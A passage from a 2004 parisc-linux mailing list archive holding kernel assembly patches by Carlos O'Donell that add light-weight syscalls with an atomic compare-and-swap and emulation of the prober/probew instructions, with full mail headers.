+	/* Keep locks aligned at 16-bytes */
+	.word 1
+	.word 1
+	.word 1
+	.word 1
+	.endr
+	.previous
+
+	.align 4096
+	/* Light-weight-syscall table */
+	/* Start of lws table. */
+	/* FIXME: global symbol */
+lws_table:
+	LWS_ENTRY(compare_and_swap)	/* 0 - Atomic compare and swap */
+lws_end_table:
+	/* End of lws table */
+
 	.align 4096
 	.export sys_call_table
 .Lsys_call_table:
@@ -359,10 +562,4 @@ sys_call_table64:
 #include "syscall_table.S"
 #endif
 
-
-	/* Make sure nothing else is placed on this page */

From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LWS Ready for use.
Date: Sat, 21 Aug 2004 02:31:21 -0400
Lines: 471
Approved: news@gmane.org
Message-ID: <20040821063120.GR5207@baldric.uwo.ca>
References: <20040821062256.C852D4946B7@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623523 10765 80.91.229.3 (22 Nov 2014 02:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:03 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14958 invoked by uid 65534); 21 Aug 2004 06:31:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 21 Aug 2004 08:31:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5FEB33BE23; Sat, 21 Aug 2004 00:31:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18473-05; Sat, 21 Aug 2004 00:31:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8207E3BE1F; Sat, 21 Aug 2004 00:31:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B6C33BE07
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:31:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18473-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:31:24 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 636E53BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:31:23 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1ByPPN-0000CZ-00; Sat, 21 Aug 2004 02:31:21 -0400
Content-Disposition: inline
In-Reply-To: <20040821062256.C852D4946B7@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21881

On Sat, Aug 21, 2004 at 12:22:56AM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/08/21 00:22:56
> 
> Modified files:
> 	arch/parisc/kernel: syscall.S 
> 
> Log message:
> Add light-weight-syscall suppor to parisc. The first LWS is
> atomic CAS.

Light-Weight-Syscalls:

Are ready for use.

If you want to learn how they work, checkout the code in test-lws, I've
even provided a simple stub setup to see what a CAS call from userspace
would be like.

http://cvs.parisc-linux.org/userspace/test-lws/

Provided in the patch is two CAS functions, one for ELF32 processes to
call, the other for ELF64 processes to call. This way I get ready for a
64-bit userspace and I don't have to go changing anything. The reason
they need different entry points is that a wide kernel needs to clear
the upper part of the 64-bit registers when called by an ELF32 process.

Pro:

Lower cost to call an LWS! Faster! Atomic operation! No signals while on
the gateway page.

Con:

Written in assembly. Only supported in newer kernels. Old kernels will
crash if you try to call an LWS.

Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.12
diff -u -p -r1.12 syscall.S
--- arch/parisc/kernel/syscall.S	26 Apr 2004 15:57:53 -0000	1.12
+++ arch/parisc/kernel/syscall.S	21 Aug 2004 06:21:09 -0000
@@ -16,6 +16,14 @@
 #include <asm/assembly.h>
 #include <asm/processor.h>
 
+	/* We fill the empty parts of the gateway page with
+ 	 * something that will kill the kernel or a
+ 	 * userspace application.
+	 */
+#define KILL_INSN	break	0,0
+
+#include <linux/config.h> /* for CONFIG_SMP */
+
 #ifdef __LP64__
 	.level          2.0w
 #else
@@ -38,21 +46,41 @@
 	.align 4096
 linux_gateway_page:
 
-	.rept 56
-	break   0,0
+        /* ADDRESS 0x00 to 0xb0 = 176 bytes / 4 bytes per insn = 44 insns */
+	.rept 44
+	KILL_INSN
 	.endr
 
+	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* Light-weight-syscall entry must always be located at 0xb0 */
+	/* WARNING: Keep this number updated with table size changes */
+#define __NR_lws_entries (2)
+
+lws_entry:
+	/* Unconditional branch to lws_start, located on the 
+	   same gateway page */
+	b,n	lws_start
+
+	/* Fill from 0xb4 to 0xe0 */
+	.rept 11
+	KILL_INSN
+	.endr
+
+	/* This function MUST be located at 0xe0 for glibc's threading 
+	mechanism to work. DO NOT MOVE THIS CODE EVER! */
 set_thread_pointer:
 	gate	.+8, %r0		/* increase privilege */
 	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 	be	0(%sr7,%r31)		/* return to user space */
 	mtctl	%r26, %cr27		/* move arg0 to the control register */
 
+	/* Increase the chance of trapping if random jumps occur to this
+	address, fill from 0xf0 to 0x100 */
 	.rept 4
-	break   0,0
+	KILL_INSN
 	.endr
 
-/* This address must remain fixed, or user binaries go splat. */
+/* This address must remain fixed at 0x100 for glibc's syscalls to work */
 	.align 256
 linux_gateway_entry:
 	gate	.+8, %r0			/* become privileged */
@@ -177,11 +205,8 @@ linux_gateway_entry:
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 	
-#ifdef __LP64__
-	ldd,s   %r20(%r19), %r19
-#else
-	ldwx,s  %r20(%r19), %r19
-#endif
+	LDREGX  %r20(%r19), %r19
+
 	/* If this is a sys_rt_sigreturn call, and the signal was received
 	 * when not in_syscall, then we want to return via syscall_exit_rfi,
 	 * not syscall_exit.  Signal no. in r20, in_syscall in r25 (see
@@ -291,11 +316,8 @@ tracesys_next:	
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 
-#ifdef __LP64__
-	ldd,s   %r20(%r19), %r19
-#else
-	ldwx,s  %r20(%r19), %r19
-#endif
+	LDREGX  %r20(%r19), %r19
+
 	/* If this is a sys_rt_sigreturn call, and the signal was received
 	 * when not in_syscall, then we want to return via syscall_exit_rfi,
 	 * not syscall_exit.  Signal no. in r20, in_syscall in r25 (see
@@ -344,12 +366,295 @@ tracesys_sigexit:
 	ldil	L%syscall_exit_rfi,%r1
 	be,n	R%syscall_exit_rfi(%sr7,%r1)
 
+
+	/*********************************************************
+		Light-weight-syscall code
+
+		r20 - lws number
+		r26,r25,r24,r23,r22 - Input registers
+		r28 - Function return register
+		r21 - Error code.
+
+		Scracth: Any of the above that aren't being
+		currently used, including r1. 
+
+		Return pointer: r31 (Not usable)
+
+		Error codes returned by entry path:
+
+		ENOSYS - r20 was an invalid LWS number.
+
+	*********************************************************/
+lws_start:
+	/* Gate and ensure we return to userspace */
+	gate	.+8, %r0
+	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
+
+#ifdef __LP64__
+	/* FIXME: If we are a 64-bit kernel just
+	 *        turn this on unconditionally.
+	 */
+	ssm	PSW_SM_W, %r1
+	extrd,u	%r1,PSW_W_BIT,1,%r1
+	/* sp must be aligned on 4, so deposit the W bit setting into
+	 * the bottom of sp temporarily */
+	or,ev	%r1,%r30,%r30
+
+	/* Clip LWS number to a 32-bit value always */
+	depdi	0, 31, 32, %r20
+#endif	
+
+        /* Is the lws entry number valid? */
+	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	b,n	lws_exit_nosys
+
+	/* WARNING: Trashing sr2 and sr3 */
+	mfsp	%sr7,%r1			/* get userspace into sr3 */
+	mtsp	%r1,%sr3
+	mtsp	%r0,%sr2			/* get kernel space into sr2 */
+
+	/* Load table start */
+	ldil	L%lws_table, %r1
+	ldo	R%lws_table(%r1), %r28	/* Scratch use of r28 */
+	LDREGX	%r20(%sr2,r28), %r21	/* Scratch use of r21 */
+
+	/* Jump to lws, lws table pointers already relocated */
+	be,n	0(%sr2,%r21)
+
+lws_exit_nosys:
+	ldo	-ENOSYS(%r0),%r21		   /* set errno */
+	/* Fall through: Return to userspace */
+
+lws_exit:
+#ifdef __LP64__
+	/* decide whether to reset the wide mode bit
+	 *
+	 * For a syscall, the W bit is stored in the lowest bit
+	 * of sp.  Extract it and reset W if it is zero */
+	extrd,u,*<>	%r30,63,1,%r1
+	rsm	PSW_SM_W, %r0
+	/* now reset the lowest bit of sp if it was set */
+	xor	%r30,%r1,%r30
+#endif
+	be,n	0(%sr3, %r31)
+
+
+	
+	/***************************************************
+		Implementing CAS as an atomic operation:
+
+		%r26 - Address to examine
+		%r25 - Old value to check (old)
+		%r24 - New value to set (new)
+		%r28 - Return prev through this register.
+		%r21 - Kernel error code
+
+		If debugging is DISabled:
+
+		%r21 has the following meanings:
+
+		EAGAIN - CAS is busy, ldcw failed, try again.
+		EFAULT - Read or write failed.		
+
+		If debugging is enabled:
+
+		EDEADLOCK - CAS called recursively.
+		EAGAIN && r28 == 1 - CAS is busy. Lock contended.
+		EAGAIN && r28 == 2 - CAS is busy. ldcw failed.
+		EFAULT - Read or write failed.
+
+		Scratch: r20, r28, r1
+
+	****************************************************/
+
+	/* Do not enable LWS debugging */
+#define ENABLE_LWS_DEBUG 0 
+
+	/* ELF64 Process entry path */
+lws_compare_and_swap64:
+#ifdef __LP64__
+	b,n	lws_compare_and_swap
+#else
+	/* If we are not a 64-bit kernel, then we don't
+	 * implement having 64-bit input registers
+	 */
+	b,n	lws_exit_nosys
+#endif
+
+	/* ELF32 Process entry path */
+lws_compare_and_swap32:
+#ifdef __LP64__
+	/* Clip all the input registers */
+	depdi	0, 31, 32, %r26
+	depdi	0, 31, 32, %r25
+	depdi	0, 31, 32, %r24
+#endif
+
+lws_compare_and_swap:
+#ifdef CONFIG_SMP
+	/* Load start of lock table */
+	ldil	L%lws_lock_start, %r20
+	ldo	R%lws_lock_start(%r20), %r28
+
+	/* Extract four bits from r26 and hash lock (Bits 4-7) */
+	extru  %r26, 27, 4, %r20
+
+	/* Find lock to use, the hash is either one of 0 to
+	   15, multiplied by 16 (keep it 16-byte aligned)
+	   and add to the lock table offset. */
+	shlw	%r20, 4, %r20
+	add	%r20, %r28, %r20
+
+# ifdef ENABLE_LWS_DEBUG
+	/*	
+		DEBUG, check for deadlock! 
+		If the thread register values are the same
+		then we were the one that locked it last and
+		this is a recurisve call that will deadlock.
+		We *must* giveup this call and fail.
+	*/
+	ldw	4(%sr2,%r20), %r28			/* Load thread register */
+	mfctl	%cr27, %r21				/* Get current thread register */
+	cmpb,<>,n	%r21, %r28, cas_lock		/* Called recursive? */
+	b	lws_exit				/* Return error! */
+	ldo	-EDEADLOCK(%r0), %r21
+cas_lock:
+	/* FIXME: This check is required! */
+	cmpb,=,n	%r0, %r28, cas_nocontend	/* Is nobody using it? */
+	ldo	1(%r0), %r28				/* 1st case */
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+cas_nocontend:
+# endif
+/* ENABLE_LWS_DEBUG */
+
+	ldcw	0(%sr2,%r20), %r28			/* Try to acquire the lock */
+	cmpb,<>,n	%r0, %r28, cas_action		/* Did we get it? */
+cas_wouldblock:
+	ldo	2(%r0), %r28				/* 2nd case */
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+#endif
+/* CONFIG_SMP */
+
+	/*
+		prev = *addr;
+		if ( prev == old )
+		  *addr = new;
+		return prev;
+	*/
+
+	/* NOTES:
+		This all works becuse intr_do_signal
+		and schedule both check the return iasq
+		and see that we are on the kernel page
+		so this process is never scheduled off
+		or is ever sent any signal of any sort,
+		thus it is wholly atomic from usrspaces
+		perspective
+	*/
+cas_action:
+#if defined CONFIG_SMP && defined ENABLE_LWS_DEBUG
+	/* DEBUG */
+	mfctl	%cr27, %r1
+	stw	%r1, 4(%sr2,%r20)
+#endif
+	/* The load and store could fail */
+1:	ldw	0(%sr3,%r26), %r28
+	sub,<>	%r28, %r25, %r0
+2:	stw	%r24, 0(%sr3,%r26)
+#ifdef CONFIG_SMP
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+# ifdef ENABLE_LWS_DEBUG
+	/* Clear thread register indicator */
+	stw	%r0, 4(%sr2,%r20)
+# endif
+#endif
+	/* Return to userspace, set no error */
+	b	lws_exit
+	copy	%r0, %r21
+	nop	/* Add some visual space in objdump */
+	nop
+	nop
+	nop
+3:		
+	/* Error occured on load or store */
+#ifdef CONFIG_SMP
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+# ifdef ENABLE_LWS_DEBUG
+	stw	%r0, 4(%sr2,%r20)
+# endif
+#endif
+	b	lws_exit
+	ldo	-EFAULT(%r0),%r21	/* set errno */
+	nop
+	nop
+	nop
+	nop
+
+	/* Two exception table entries, one for the load,
+	   the other for the store. Either return -EFAULT */
+	.section __ex_table,"aw"
+#ifdef __LP64__
+	/* Pad the address calculation */
+	.word	0,(2b - linux_gateway_page)
+	.dword	(3b - 2b) 
+#else
+	.word	2b - linux_gateway_page
+	.word	(3b - 2b) 
+#endif
+	.previous
+
+	.section __ex_table,"aw"
+#ifdef __LP64__
+	/* Pad the address calculation */
+	.word	0,(1b - linux_gateway_page)
+	.dword	(3b - 1b) 
+#else
+	.word	1b - linux_gateway_page
+	.word	(3b - 1b) 
+#endif
+	.previous
+
+end_compare_and_swap:
+
+	/* Make sure nothing else is placed on this page */
+	.align 4096
+	.export end_linux_gateway_page
+end_linux_gateway_page:
+
+	/* Relocate symbols assuming linux_gateway_page is mapped
+	   to virtual address 0x0 */
+#ifdef __LP64__
+	/* FIXME: The code will always be on the gateay page
+		  and thus it will be on the first 4k, the
+		  assembler seems to think that the final
+		  subtraction result is only a word in
+		  length, so we pad the value.
+	*/
+#define LWS_ENTRY(_name_) .word 0,(lws_##_name_ - linux_gateway_page)
+#else
+#define LWS_ENTRY(_name_) .word  (lws_##_name_ - linux_gateway_page)
+#endif
+
+	.align 4096
+	/* Light-weight-syscall table */
+	/* Start of lws table. */
+	.export lws_table
+.Llws_table:
+lws_table:
+	LWS_ENTRY(compare_and_swap32)	/* 0 - ELF32 Atomic compare and swap */
+	LWS_ENTRY(compare_and_swap64)	/* 1 - ELF64 Atomic compare and swap */
+	/* End of lws table */
+
 	.align 4096
 	.export sys_call_table
 .Lsys_call_table:
 sys_call_table:
 #include "syscall_table.S"
-.end
+
 #ifdef __LP64__
 	.align 4096
 	.export sys_call_table64
@@ -359,10 +664,29 @@ sys_call_table64:
 #include "syscall_table.S"
 #endif
 
+#ifdef CONFIG_SMP
+	/*
+		All light-weight-syscall atomic operations 
+		will use this set of locks 
+	*/
+	.section .data
+	.align 4096
+	.export lws_lock_start
+.Llws_lock_start:
+lws_lock_start:
+	/* lws locks */
+	.align 16
+	.rept 16
+	/* Keep locks aligned at 16-bytes */
+	.word 1
+	.word 0 
+	.word 0
+	.word 0
+	.endr
+	.previous
+#endif
+/* CONFIG_SMP for lws_lock_start */
 
-	/* Make sure nothing else is placed on this page */
+.end
 
-	.align 4096
-	.export end_linux_gateway_page
-end_linux_gateway_page:
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] prober/w emulation completed.
Date: Sat, 21 Aug 2004 02:33:07 -0400
Lines: 124
Approved: news@gmane.org
Message-ID: <20040821063307.GS5207@baldric.uwo.ca>
References: <20040821062448.7F3E14946B7@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623523 10767 80.91.229.3 (22 Nov 2014 02:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:03 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13202 invoked by uid 65534); 21 Aug 2004 06:33:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 21 Aug 2004 08:33:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A596B3BE2D; Sat, 21 Aug 2004 00:33:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18619-01; Sat, 21 Aug 2004 00:33:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4123B3BE2B; Sat, 21 Aug 2004 00:33:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28CB43BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:33:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18478-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:33:10 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BEE7B3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Aug 2004 00:33:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1ByPR6-0000Cz-00; Sat, 21 Aug 2004 02:33:08 -0400
Content-Disposition: inline
In-Reply-To: <20040821062448.7F3E14946B7@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21882

On Sat, Aug 21, 2004 at 12:24:48AM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/08/21 00:24:48
> 
> Modified files:
> 	arch/parisc/kernel: entry.S 
> 
> Log message:
> Add some extra comment to space_check.
> Add support for prober and probew in our non-access TLB
> fault emulation path.

Like the log message says. The OS has to provide some support, we add
support here for prober and probew in the emulation path, but only for
non-shadow registers. The slow path emulation is not complete.

Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.21
diff -u -p -r1.21 entry.S
--- arch/parisc/kernel/entry.S	18 Aug 2004 18:56:34 -0000	1.21
+++ arch/parisc/kernel/entry.S	21 Aug 2004 06:23:22 -0000
@@ -440,8 +440,17 @@
 	mfctl		%cr25,\reg
 	.endm
 
-	/* Only allow faults on different spaces from the
-	 * currently active one if we're the kernel */
+	/* 
+		space_check(spc,tmp,fault)
+
+		spc - The space we saw the fault with.
+		tmp - The place to store the current space.
+		fault - Function to call on failure.
+
+		Only allow faults on different spaces from the
+		currently active one if we're the kernel 
+
+	*/
 	.macro		space_check	spc,tmp,fault
 	mfsp		%sr7,\tmp
 	or,COND(<>)	%r0,\spc,%r0	/* user may execute gateway page
@@ -1039,7 +1048,14 @@ intr_do_resched:
 
 	.import do_signal,code
 intr_do_signal:
-	/* Only do signals if we are returning to user space */
+	/* 
+		This check is critical to having LWS
+		working. The IASQ is zero on the gateway
+		page and we cannot deliver any signals until
+		we get off the gateway page.
+
+		Only do signals if we are returning to user space 
+	*/
 	LDREG	PT_IASQ0(%r16), %r20
 	CMPIB= 0,%r20,intr_restore /* backward */
 	nop
@@ -1446,15 +1462,20 @@ nadtlb_emulate:
 	 * of the instruction. Since we don't insert a translation
 	 * we can get a lot of faults during a flush loop, so it makes
 	 * sense to try to do it here with minimum overhead. We only
-	 * emulate fdc,fic & pdc instructions whose base and index
-	 * registers are not shadowed. We defer everything else to the
-	 * "slow" path.
+	 * emulate fdc,fic,pdc,probew,prober instructions whose base 
+	 * and index registers are not shadowed. We defer everything 
+	 * else to the "slow" path.
 	 */
 
 	mfctl           %cr19,%r9 /* Get iir */
+
+	/* PA 2.0 Arch Ref. Book pg 382 has a good description of the insn bits.
+	   Checks for fdc,fdce,pdc,"fic,4f",prober,probeir,probew, probeiw */
+
+	/* Checks for fdc,fdce,pdc,"fic,4f" only */
 	ldi             0x280,%r16
 	and             %r9,%r16,%r17
-	cmpb,<>,n       %r16,%r17,nadtlb_fault /* Not fdc,fic,pdc */
+	cmpb,<>,n       %r16,%r17,nadtlb_probe_check
 	bb,>=,n         %r9,26,nadtlb_nullify  /* m bit not set, just nullify */
 	BL		get_register,%r25
 	extrw,u         %r9,15,5,%r8           /* Get index register # */
@@ -1474,6 +1495,32 @@ nadtlb_nullify:
 
 	rfir
 	nop
+
+	/* 
+		When there is no translation for the probe address then we
+		must nullify the insn and return zero in the target regsiter.
+		This will indicate to the calling code that it does not have 
+		write/read privileges to this address.
+
+		This should technically work for prober and probew in PA 1.1,
+		and also probe,r and probe,w in PA 2.0
+
+		WARNING: USE ONLY NON-SHADOW REGISTERS WITH PROBE INSN!
+		THE SLOW-PATH EMULATION HAS NOT BEEN WRITTEN YET.
+
+	*/
+nadtlb_probe_check:
+	ldi             0x80,%r16
+	and             %r9,%r16,%r17
+	cmpb,<>,n       %r16,%r17,nadtlb_fault /* Must be probe,[rw]*/
+	BL              get_register,%r25      /* Find the target register */
+	extrw,u         %r9,31,5,%r8           /* Get target register */
+	CMPIB=,n        -1,%r1,nadtlb_fault    /* have to use slow path */
+	BL		set_register,%r25
+	copy            %r0,%r1                /* Write zero to target register */
+	b nadtlb_nullify                       /* Nullify return insn */
+	nop
+
 
 #ifdef __LP64__
 itlb_miss_20w:
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Call panic() in parisc_terminate() again...
Date: Tue, 17 Aug 2004 02:04:27 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <20040817060427.GR27047@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623524 10769 80.91.229.3 (22 Nov 2014 02:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4078 invoked by uid 65534); 17 Aug 2004 06:04:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 17 Aug 2004 08:04:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 26E5A3BE1C; Tue, 17 Aug 2004 00:04:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07837-06; Tue, 17 Aug 2004 00:04:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F34E73BE17; Tue, 17 Aug 2004 00:04:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95D2A3BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 00:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07837-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 00:04:29 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 42ADF3BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Aug 2004 00:04:29 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Bwx59-0003V4-00; Tue, 17 Aug 2004 02:04:27 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (58% Sync Ratio [======....])
